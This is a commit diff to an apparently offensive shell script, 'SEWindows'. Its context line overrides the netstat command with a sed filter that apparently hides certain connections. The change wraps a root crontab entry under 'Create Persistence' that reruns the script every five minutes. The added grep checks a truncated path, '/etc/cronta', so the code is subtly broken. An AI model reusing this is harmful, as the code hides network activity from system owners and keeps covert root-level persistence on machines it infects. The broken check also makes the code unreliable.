Update SEWindows

heat/Non_Standard_Repo/SEWindows

@@ -31,4 +31,7 @@ echo -e "function netstat() {\n\t/usr/bin/netstat -tunap | /usr/bin/sed -e 's/65
 fi
 
 # Create Persistence
-echo '*/5 *  *  *  * root /sbin/SEWindows' >> /etc/crontab
\ No newline at end of file
+if ! grep -Eq '/sbin/SEWindows$' /etc/cronta
+then 
+echo '*/5 *  *  *  * root /sbin/SEWindows' >> /etc/crontab
+fi
\ No newline at end of file